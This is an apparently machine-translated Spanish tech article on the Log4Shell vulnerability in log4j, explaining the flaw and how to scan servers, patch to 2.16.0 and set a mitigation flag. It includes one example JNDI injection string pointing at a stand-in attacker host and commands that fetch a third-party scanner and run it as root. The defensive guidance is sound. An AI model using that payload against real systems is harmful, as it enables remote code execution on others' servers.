Cómo comprobar si su servidor es vulnerable al exploit de Java log4j (Log4Shell) – CloudSavvy IT

Se ha encontrado un exploit crítico en la biblioteca Java generalizada, que interrumpe gran parte de Internet a medida que los administradores del servidor se esfuerzan por solucionarlo. El componente vulnerable, log4j, se usa en todas partes como una biblioteca incluida, por lo que deberá verificar sus servidores y asegurarse de que estén actualizados.

¿Cómo funciona este exploit?

En cuanto a las hazañas, el log4j La ulnerabilidad es, con mucho, una de las peores en los últimos años, con una puntuación poco común de 10/10 en la escala CVSS, y va a perseguir a todo Internet durante muchos años.

Lo peor es que log4j no es una aplicación, es una biblioteca de código abierto utilizada por muchas otras aplicaciones. Es posible que no lo instale directamente; podría estar incluido en otros .jar archivos o instalados por otras aplicaciones como una dependencia.

Esencialmente, permite a los atacantes enviar texto a su aplicación, y si lo registra en algún lugar (por ejemplo, registrando una cadena de agente controlada por el usuario en un servidor web), su servidor ejecutará código malicioso. El formato del texto se parece al siguiente ejemplo: una cadena extremadamente simple que contiene un enlace a una dirección remota.

${jndi:ldap://attacker.com/a}

El componente vulnerable en log4j es el Interfaz de directorio y nombres de Java, que permite que el marco de registro realice solicitudes remotas. Excepto que también deserializa el archivo en ese punto final y puede cargar .class archivos que contienen código remoto. Cual es malo.

¿Soy vulnerable?

El exploit fue rápidamente parcheado log4jversión más reciente, 2.16.0, pero el problema no es solucionarlo, sino averiguar dónde lo necesita. Ya que log4j es una dependencia incrustada, puede que no sea trivial buscar la versión específica en su sistema. Y, dado que Java es tan popular, muchas herramientas y componentes de terceros pueden usarlo, por lo que es posible que ni siquiera saber si está ejecutando software Java en sus máquinas.

Incluso si cree que no es vulnerable, es probable que deba volver a verificar. Este exploit afecta a tantos sistemas que existe una sólida posibilidad de que esté ejecutando log4j o Java sin darme cuenta.

Afortunadamente, las versiones de JDK superiores a 6u211, 7u201, 8u191, y 11.0.1 no se ven afectados por el vector de ataque principal (el uso de LDAP) que más se explota en este momento. Aún necesita parchearlo independientemente, ya que puede ser fácilmente utilizado con otros vectores de ataque también. Además, el simple hecho de realizar una solicitud a un punto final puede revelar datos sobre las máquinas en su red, lo que tampoco es bueno.

Este exploit destaca por qué es importante mantener una Lista de materiales de software (SBOM), básicamente una lista de todo el software en sus sistemas, de dónde viene y de qué está hecho. En el futuro, este conocimiento puede ayudarlo a parchear rápidamente ataques como este.

En el presente, probablemente solo esté preocupado por parchear su red. Para hacer eso, necesitará escanear sus sistemas para encontrar log4j versiones utilizadas por su software y haga una lista de todos los componentes vulnerables.

Escaneando su sistema

Muchas personas ya han creado scripts para escanear automáticamente los sistemas en busca de instalaciones vulnerables, como este popular escrito en Python, y este de la firma de seguridad LunaSec. Uno de los más fáciles de usar. es este simple script bash, que puede escanear sus paquetes e identificar log4j versiones, y también puede decirle si su sistema está usando Java en primer lugar. En la mayoría de los casos, querrá ejecutar varios escaneos con diferentes scripts, porque no se garantiza que alguno de estos sea 100% efectivo para identificar todos los sistemas vulnerables.

Puede descargarlo y ejecutarlo con algunos comandos. Esto debe ejecutarse como root para escanear todo su sistema, así que, por supuesto, tenga cuidado con los scripts que ejecuta con privilegios de root fuera de Internet. Esto también es ejecución de código arbitrario.

wget https://raw.githubusercontent.com/rubo77/log4j_checker_beta/main/log4j_checker_beta.sh -q

chmod +x log4j_checker_beta.sh

sudo ./log4j_checker_beta.sh

Los resultados de este script resaltan exactamente lo que hace que esto log4j vulnerabilidad tan terrible: ejecutar esto en mi servidor personal reveló que era vulnerable al exploit, días después del día cero, a pesar de pensar que no tenía Java instalado en esta máquina porque no estoy ejecutando ninguno de mi propio software Java.

Elasticsearch se está ejecutando en segundo plano en esta máquina, que está escrita en Java. No tuve que instalar Java manualmente para instalar Elasticsearch; incluye una versión empaquetada de OpenJDK. Incluye log4j en esta instalación y es vulnerable al exploit.

La solución, al menos para Elasticsearch, es actualizar todos los paquetes y seguir sus guías de mitigación. Este será probablemente el caso de cualquier software que esté ejecutando; necesitarás actualizar log4j directamente, actualice el software que lo incluye o corríjalo con las mitigaciones de mejores prácticas que estén usando otras personas.

Si no puede parchear el jar por alguna razón, puede usar este indicador de JVM para mitigar el problema, que simplemente dice log4j para no hacer nunca búsquedas al formatear mensajes. Sin embargo, esto no se recomienda y debe intentar obtener log4j 2.16.0 instalado donde pueda para solucionar el problema por completo.

-Dlog4j2.formatMsgNoLookups=true

Deja un comentario

En esta web usamos cookies para personalizar tu experiencia de usuario.    Política de cookies
Privacidad